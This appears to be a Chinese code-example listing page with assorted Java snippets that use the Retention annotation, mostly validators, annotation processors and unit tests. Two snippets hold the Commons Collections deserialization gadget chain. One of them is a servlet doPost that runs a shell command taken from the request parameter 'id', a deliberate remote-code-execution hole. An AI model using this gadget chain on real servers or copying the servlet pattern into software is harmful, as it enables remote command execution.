下面列出了java.lang.annotation.Inherited#java.lang.annotation.Retention 实例代码,或者点击链接到github查看源代码,也可以在右侧发表评论。
@Override
public BindingBuilder<T> annotatedWith(@Nullable Class<? extends Annotation> annotation) {
if (annotation != null) {
if (annotation.getAnnotation(Classifier.class) == null) {
throw new IllegalArgumentException(
"The annotation type "
+ annotation.getName()
+ " must be marked with @"
+ Classifier.class.getName()
+ " to be used as a classifier");
}
if (annotation.getAnnotation(Retention.class) == null) {
throw new IllegalArgumentException(
"The annotation type "
+ annotation.getName()
+ " must be marked with @"
+ Retention.class.getName()
+ " to appear at runtime");
}
}
key = key.setClassifier(annotation);
return this;
}
/**
* We consider an annotation to be valid for extraction if it's not an internal annotation (i.e.
* is in the <code>com.facebook.litho</code> package and is not a source-only annotation.
*
* @return Whether or not to extract the given annotation.
*/
private static boolean isValidAnnotation(Project project, PsiAnnotation psiAnnotation) {
final String text = psiAnnotation.getQualifiedName();
if (text.startsWith("com.facebook.")) {
return false;
}
PsiClass annotationClass = PsiSearchUtils.findClass(project, psiAnnotation.getQualifiedName());
if (annotationClass == null) {
throw new RuntimeException("Annotation class not found, text is: " + text);
}
final Retention retention =
PsiAnnotationProxyUtils.findAnnotationInHierarchy(annotationClass, Retention.class);
return retention == null || retention.value() != RetentionPolicy.SOURCE;
}
public boolean hasRuntimeRetention() {
Map<String, ? extends AnnotationMirror> types = getHelper()
.getAnnotationsByType(getElement().getAnnotationMirrors());
AnnotationMirror retention = types.get(Retention.class.getCanonicalName());
if ( retention == null ) {
handleNoRetention();
return false;
}
AnnotationParser parser = AnnotationParser.create(getHelper());
parser.expectEnumConstant(AnnotationUtil.VALUE, getHelper().resolveType(
RetentionPolicy.class.getCanonicalName()), null);
String retentionPolicy = parser.parse(retention).get(AnnotationUtil.VALUE,
String.class);
return RetentionPolicy.RUNTIME.toString().equals(retentionPolicy);
}
private AnnotationCollector _addFromBundleIfNotPresent(AnnotationCollector c,
Annotation bundle)
{
for (Annotation ann : ClassUtil.findClassAnnotations(bundle.annotationType())) {
// minor optimization: by-pass 2 common JDK meta-annotations
if ((ann instanceof Target) || (ann instanceof Retention)) {
continue;
}
if (!c.isPresent(ann)) {
c = c.addOrOverride(ann);
if (_intr.isAnnotationBundle(ann)) {
c = _addFromBundleIfNotPresent(c, ann);
}
}
}
return c;
}
@Test
public void annotationWithValueMethod() {
Annotation annotation = Singleton.class.getAnnotation(Retention.class);
cache.getQualifier(annotation);
InOrder inOrder = inOrder(lock, cache);
// initial call
inOrder.verify(cache).getQualifier(annotation);
// internal thread safe method lookup
inOrder.verify(cache).getValueMethodThreadSafe(Retention.class);
inOrder.verify(lock).lock();
inOrder.verify(cache).getValueMethod(Retention.class);
inOrder.verify(lock).unlock();
// get Qualifier from value() method
inOrder.verify(cache).getQualifier(any(Method.class), eq(annotation));
inOrder.verifyNoMoreInteractions();
verifyZeroInteractions(cache);
assertThat(bindActionMap.size(), is(1));
}
@Override
protected void visitType(TypeDefinition td) {
if (!td.isAnnotation())
return;
DeclaredAnnotation da = getOrCreate(td);
for (CustomAnnotation ca : td.getAnnotations()) {
if (Types.is(ca.getAnnotationType(), Retention.class)) {
for (AnnotationParameter ap : ca.getParameters()) {
if (ap.getMember().equals("value")) {
AnnotationElement value = ap.getValue();
if (value instanceof EnumAnnotationElement) {
EnumAnnotationElement enumValue = (EnumAnnotationElement) value;
if (Types.is(enumValue.getEnumType(), RetentionPolicy.class)) {
da.policy = RetentionPolicy.valueOf(enumValue.getEnumConstantName());
}
}
}
}
}
}
}
private void checkScopeAnnotationValidity(TypeElement annotation) {
if (annotation.getAnnotation(Scope.class) == null) {
error(
annotation,
"Scope Annotation %s does not contain Scope annotation.",
annotation.getQualifiedName());
return;
}
Retention retention = annotation.getAnnotation(Retention.class);
if (retention == null || retention.value() != RetentionPolicy.RUNTIME) {
error(
annotation,
"Scope Annotation %s does not have RUNTIME retention policy.",
annotation.getQualifiedName());
}
}
private static byte[] generateObject(Transformer[] transformers) throws Exception {
ChainedTransformer transformedChain = new ChainedTransformer(transformers);
HashMap innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, (Transformer)null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(new Class[]{Class.class, Map.class});
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[]{Retention.class, outerMap});
ByteArrayOutputStream byteOut = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteOut);
out.writeObject(instance);
out.flush();
out.close();
return byteOut.toByteArray();
}
/**
* Check if annotation is available at runtime and it is annotated by @Injectable annotation
*
* @param annotation the annotation to check
* @param <T> annotation type
* @return the tested annotation
* @throws org.panda_lang.utilities.inject.DependencyInjectionException when:
* <ul>
* <li>the given class is not an annotation</li>
* <li>annotation is not marked as @{@link org.panda_lang.utilities.inject.annotations.Injectable}</li>
* <li>retention policy is not defined or its value is other than the {@link java.lang.annotation.RetentionPolicy#RUNTIME} </li>
* </ul>
*/
public static <T> Class<T> testAnnotation(Class<T> annotation) throws DependencyInjectionException {
if (!annotation.isAnnotation()) {
throw new DependencyInjectionException(annotation + " is not an annotation");
}
@Nullable Retention retention = annotation.getAnnotation(Retention.class);
if (retention == null) {
throw new DependencyInjectionException(annotation + " has no specified retention policy");
}
if (retention.value() != RetentionPolicy.RUNTIME) {
throw new DependencyInjectionException(annotation + " is not marked as runtime annotation");
}
if (annotation.getAnnotation(Injectable.class) == null) {
throw new DependencyInjectionException(annotation + " is not marked as @Injectable");
}
return annotation;
}
public void addConstructor(Constructor<?> constructor) throws Exception {
List<Type> paramTypes = new ArrayList<Type>();
for (Class<?> paramType : constructor.getParameterTypes()) {
paramTypes.add(Type.getType(paramType));
}
String methodDescriptor = Type.getMethodDescriptor(Type.VOID_TYPE, paramTypes.toArray(
new Type[paramTypes.size()]));
MethodVisitor methodVisitor = visitor.visitMethod(Opcodes.ACC_PUBLIC, "<init>", methodDescriptor, signature(constructor), new String[0]);
for (Annotation annotation : constructor.getDeclaredAnnotations()) {
if (annotation.annotationType().getAnnotation(Inherited.class) != null) {
continue;
}
Retention retention = annotation.annotationType().getAnnotation(Retention.class);
AnnotationVisitor annotationVisitor = methodVisitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(), retention != null && retention.value() == RetentionPolicy.RUNTIME);
annotationVisitor.visitEnd();
}
methodVisitor.visitCode();
// this.super(p0 .. pn)
methodVisitor.visitVarInsn(Opcodes.ALOAD, 0);
for (int i = 0; i < constructor.getParameterTypes().length; i++) {
methodVisitor.visitVarInsn(Type.getType(constructor.getParameterTypes()[i]).getOpcode(Opcodes.ILOAD), i + 1);
}
methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL, superclassType.getInternalName(), "<init>",
methodDescriptor);
methodVisitor.visitInsn(Opcodes.RETURN);
methodVisitor.visitMaxs(0, 0);
methodVisitor.visitEnd();
}
/**
* We consider an annotation to be valid for extraction if it's not an internal annotation (i.e.
* is in the <code>com.facebook.litho</code> package and is not a source-only annotation.
*
* <p>We also do not consider the kotlin.Metadata annotation to be valid as it represents the
* metadata of the Spec class and not of the class that we are generating.
*
* @return Whether or not to extract the given annotation.
*/
private static boolean isValidAnnotation(AnnotationMirror annotation) {
final Retention retention =
annotation.getAnnotationType().asElement().getAnnotation(Retention.class);
if (retention != null && retention.value() == RetentionPolicy.SOURCE) {
return false;
}
String annotationName = annotation.getAnnotationType().toString();
return !annotationName.startsWith("com.facebook.") && !annotationName.equals("kotlin.Metadata");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String id = req.getParameter("id");
if (id != null) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{id})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.transformingMap(innermap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
File f = new File("obj");
ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream(f));
outStream.writeObject(instance);
outStream.flush();
outStream.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj"));
in.readObject();
in.close();
}
} catch (Exception e) {
resp.getWriter().println(e);
}
}
public void testCreateAnnotation() throws Exception {
TestUtilities.copyStringToFileObject(testFO,
"package foo;" +
"public class TestClass {" +
"}");
runModificationTask(testFO, new Task<WorkingCopy>() {
public void run(WorkingCopy copy) throws Exception {
GenerationUtils genUtils = GenerationUtils.newInstance(copy);
ClassTree classTree = (ClassTree)copy.getCompilationUnit().getTypeDecls().get(0);
AnnotationTree annotationTree = genUtils.createAnnotation("java.lang.SuppressWarnings",
Collections.singletonList(genUtils.createAnnotationArgument(null, "unchecked")));
ClassTree newClassTree = genUtils.addAnnotation(classTree, annotationTree);
annotationTree = genUtils.createAnnotation("java.lang.annotation.Retention",
Collections.singletonList(genUtils.createAnnotationArgument(null, "java.lang.annotation.RetentionPolicy", "RUNTIME")));
newClassTree = genUtils.addAnnotation(newClassTree, annotationTree);
copy.rewrite(classTree, newClassTree);
}
}).commit();
runUserActionTask(testFO, new Task<CompilationController>() {
public void run(CompilationController controller) throws Exception {
TypeElement typeElement = SourceUtils.getPublicTopLevelElement(controller);
assertEquals(2, typeElement.getAnnotationMirrors().size());
SuppressWarnings suppressWarnings = typeElement.getAnnotation(SuppressWarnings.class);
assertNotNull(suppressWarnings);
assertEquals(1, suppressWarnings.value().length);
assertEquals("unchecked", suppressWarnings.value()[0]);
Retention retention = typeElement.getAnnotation(Retention.class);
assertNotNull(retention);
assertEquals(RetentionPolicy.RUNTIME, retention.value());
}
});
}
public void testCreateAnnotation() throws Exception {
TestUtilities.copyStringToFileObject(testFO,
"package foo;" +
"public class TestClass {" +
"}");
runModificationTask(testFO, new Task<WorkingCopy>() {
public void run(WorkingCopy copy) throws Exception {
GenerationUtils genUtils = GenerationUtils.newInstance(copy);
ClassTree classTree = (ClassTree)copy.getCompilationUnit().getTypeDecls().get(0);
AnnotationTree annotationTree = genUtils.createAnnotation("java.lang.SuppressWarnings",
Collections.singletonList(genUtils.createAnnotationArgument(null, "unchecked")));
ClassTree newClassTree = genUtils.addAnnotation(classTree, annotationTree);
annotationTree = genUtils.createAnnotation("java.lang.annotation.Retention",
Collections.singletonList(genUtils.createAnnotationArgument(null, "java.lang.annotation.RetentionPolicy", "RUNTIME")));
newClassTree = genUtils.addAnnotation(newClassTree, annotationTree);
copy.rewrite(classTree, newClassTree);
}
}).commit();
runUserActionTask(testFO, new Task<CompilationController>() {
public void run(CompilationController controller) throws Exception {
TypeElement typeElement = SourceUtils.getPublicTopLevelElement(controller);
assertEquals(2, typeElement.getAnnotationMirrors().size());
SuppressWarnings suppressWarnings = typeElement.getAnnotation(SuppressWarnings.class);
assertNotNull(suppressWarnings);
assertEquals(1, suppressWarnings.value().length);
assertEquals("unchecked", suppressWarnings.value()[0]);
Retention retention = typeElement.getAnnotation(Retention.class);
assertNotNull(retention);
assertEquals(RetentionPolicy.RUNTIME, retention.value());
}
});
}
public void testMetaAnnotation() throws NoSuchFieldException
{
Field myMetaField = AnnotatedElements.class.getDeclaredField("field4");
// The @A_Meta annotation has an annotation called @MetaAnnotation2
A_Meta am = myMetaField.getAnnotation(A_Meta.class);
assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation2.class));
assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation3.class));
Annotation[] annot1 = am.annotationType().getAnnotations();
// 3 annotations should be present: @MetaAnnotation2,@MetaAnnotation3,@Retention
assertTrue (annot1.length == 3);
boolean[] annot_count = new boolean[] {false, false, false};
for (int i=0; i<annot1.length; i++)
{
if (annot1[i] instanceof Retention)
annot_count[0] = true;
else if (annot1[i] instanceof MetaAnnotation2)
annot_count[1] = true;
else if (annot1[i] instanceof MetaAnnotation3)
annot_count[2] = true;
else
fail("Error! Unknown annotation instance detected in field2!");
}
// Make sure all three annotations were found
assertTrue(annot_count[0] && annot_count[1] && annot_count[2]);
// @MetaAnnotation2 has an annotation called @MetaAnnotation
Annotation annot2 = MetaAnnotation2.class.getAnnotation(MetaAnnotation.class);
assertTrue(annot2 != null);
assertTrue(annot2 instanceof MetaAnnotation);
}
private static void checkAnnotationHasReasonableRetention(Class<? extends Annotation> annotationType) {
if (isRetentionSource(annotationType)) {
throw new InvalidSyntaxUsageException(String.format(
"Annotation type %s has @%s(%s), thus the information is gone after compile. "
+ "So checking this with ArchUnit is useless.",
annotationType.getName(), Retention.class.getSimpleName(), RetentionPolicy.SOURCE));
}
}
@Test
public void isAnnotatedWith_type() {
assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class))
.as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class))
.as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
@Test
public void isAnnotatedWith_typeName() {
assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class.getName()))
.as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class.getName()))
.as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
@Test
public void isMetaAnnotatedWith_type() {
JavaClass clazz = importClassesWithContext(Parent.class, SomeAnnotation.class).get(Parent.class);
assertThat(clazz.isMetaAnnotatedWith(SomeAnnotation.class))
.as("Parent is meta-annotated with @" + SomeAnnotation.class.getSimpleName()).isFalse();
assertThat(clazz.isMetaAnnotatedWith(Retention.class))
.as("Parent is meta-annotated with @" + Retention.class.getSimpleName()).isTrue();
}
@Test
public void isMetaAnnotatedWith_typeName() {
JavaClass clazz = importClassesWithContext(Parent.class, SomeAnnotation.class).get(Parent.class);
assertThat(clazz.isMetaAnnotatedWith(SomeAnnotation.class.getName()))
.as("Parent is meta-annotated with @" + SomeAnnotation.class.getSimpleName()).isFalse();
assertThat(clazz.isMetaAnnotatedWith(Retention.class.getName()))
.as("Parent is meta-annotated with @" + Retention.class.getSimpleName()).isTrue();
}
@Test
public void wrong_annotation_type_is_rejected() {
JavaAnnotation<?> mismatch = javaAnnotationFrom(TestAnnotation.class.getAnnotation(Retention.class), getClass());
thrown.expect(IllegalArgumentException.class);
thrown.expectMessage(Retention.class.getSimpleName());
thrown.expectMessage(TestAnnotation.class.getSimpleName());
thrown.expectMessage("incompatible");
AnnotationProxy.of(TestAnnotation.class, mismatch);
}
@Test
public void isAnnotatedWith_type() {
assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class))
.as("field is annotated with @Deprecated").isTrue();
assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class))
.as("field is annotated with @Retention").isFalse();
}
@Test
public void isAnnotatedWith_typeName() {
assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class.getName()))
.as("field is annotated with @Deprecated").isTrue();
assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class.getName()))
.as("field is annotated with @Retention").isFalse();
}
@Test
public void isMetaAnnotatedWith_type() {
JavaClass clazz = importClassesWithContext(SomeClass.class, Deprecated.class).get(SomeClass.class);
assertThat(clazz.getField("someField").isMetaAnnotatedWith(Deprecated.class))
.as("field is meta-annotated with @Deprecated").isFalse();
assertThat(clazz.getField("someField").isMetaAnnotatedWith(Retention.class))
.as("field is meta-annotated with @Retention").isTrue();
}
@Test
public void isMetaAnnotatedWith_typeName() {
JavaClass clazz = importClassesWithContext(SomeClass.class, Deprecated.class).get(SomeClass.class);
assertThat(clazz.getField("someField").isMetaAnnotatedWith(Deprecated.class.getName()))
.as("field is meta-annotated with @Deprecated").isFalse();
assertThat(clazz.getField("someField").isMetaAnnotatedWith(Retention.class.getName()))
.as("field is meta-annotated with @Retention").isTrue();
}
@Test
public void isMetaAnnotatedWith_type_on_resolved_target() {
JavaClasses classes = importClassesWithContext(Origin.class, Target.class, QueriedAnnotation.class);
JavaCall<?> call = simulateCall().from(classes.get(Origin.class), "call").to(classes.get(Target.class).getMethod("called"));
assertThat(call.getTarget().isMetaAnnotatedWith(QueriedAnnotation.class))
.as("target is meta-annotated with @" + QueriedAnnotation.class.getSimpleName())
.isFalse();
assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class))
.as("target is meta-annotated with @" + Retention.class.getSimpleName())
.isTrue();
}
@Test
public void isMetaAnnotatedWith_typeName_on_resolved_target() {
JavaClasses classes = importClassesWithContext(Origin.class, Target.class, QueriedAnnotation.class);
JavaCall<?> call = simulateCall().from(classes.get(Origin.class), "call").to(classes.get(Target.class).getMethod("called"));
assertThat(call.getTarget().isMetaAnnotatedWith(QueriedAnnotation.class.getName()))
.as("target is meta-annotated with @" + QueriedAnnotation.class.getSimpleName())
.isFalse();
assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class.getName()))
.as("target is meta-annotated with @" + Retention.class.getSimpleName())
.isTrue();
}
@Test
public void meta_annotated_on_unresolved_target() {
JavaClasses classes = importClassesWithContext(Origin.class, Target.class, QueriedAnnotation.class);
JavaCall<?> call = simulateCall().from(classes.get(Origin.class), "call").toUnresolved(Target.class, "called");
assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class))
.as("target is meta-annotated with @" + Retention.class.getSimpleName())
.isFalse();
assertThat(call.getTarget().isMetaAnnotatedWith(Retention.class.getName()))
.as("target is meta-annotated with @" + Retention.class.getSimpleName())
.isFalse();
assertThat(call.getTarget().isMetaAnnotatedWith(DescribedPredicate.<JavaAnnotation<?>>alwaysTrue()))
.as("target is meta-annotated with anything")
.isFalse();
}
private void annotationHeader(JavaMessageBuilder builder)
throws ObjectStoreConfigException {
String pkg = builder.getPackageName(this.getURI());
String simple = builder.getSimpleName(this.getURI());
if (pkg == null) {
builder.imports(simple);
} else {
builder.pkg(pkg);
builder.imports(pkg + '.' + simple);
}
builder.comment(this);
if (this.isA(OWL.DEPRECATEDPROPERTY)) {
builder.annotate(Deprecated.class);
}
builder.annotateEnum(Retention.class, "value", RetentionPolicy.class, "RUNTIME");
builder.annotateEnums(Target.class, "value", ElementType.class, "TYPE", "METHOD",
"PARAMETER", "ANNOTATION_TYPE", "PACKAGE");
builder.annotationName(simple);
builder.annotationProperties(this);
builder.annotateURI(Iri.class, "value", builder.getType(this.getURI()));
if (this.isA(OWL.FUNCTIONALPROPERTY)) {
builder.method("value", true).returnType(builder.imports(String.class)).end();
} else {
builder.method("value", true).returnType(builder.imports(String.class) + "[]")
.end();
}
}
@Override
public void visitAnnotations(final AnnotatedNode node) {
List<AnnotationNode> annotations = node.getAnnotations();
if (annotations.isEmpty()) return;
Map<String, AnnotationNode> tmpAnnotations = new HashMap<>();
for (AnnotationNode an : annotations) {
// skip built-in properties
if (an.isBuiltIn()) continue;
ClassNode annType = an.getClassNode();
resolveOrFail(annType, " for annotation", an);
for (Map.Entry<String, Expression> member : an.getMembers().entrySet()) {
Expression newValue = transform(member.getValue());
Expression adjusted = transformInlineConstants(newValue);
member.setValue(adjusted);
checkAnnotationMemberValue(adjusted);
}
if (annType.isResolved()) {
Class<?> annTypeClass = annType.getTypeClass();
Retention retAnn = annTypeClass.getAnnotation(Retention.class);
if (retAnn != null && !retAnn.value().equals(RetentionPolicy.SOURCE) && !isRepeatable(annTypeClass)) {
// remember non-source/non-repeatable annos (auto collecting of Repeatable annotations is handled elsewhere)
AnnotationNode anyPrevAnnNode = tmpAnnotations.put(annTypeClass.getName(), an);
if (anyPrevAnnNode != null) {
addError("Cannot specify duplicate annotation on the same member : " + annType.getName(), an);
}
}
}
}
}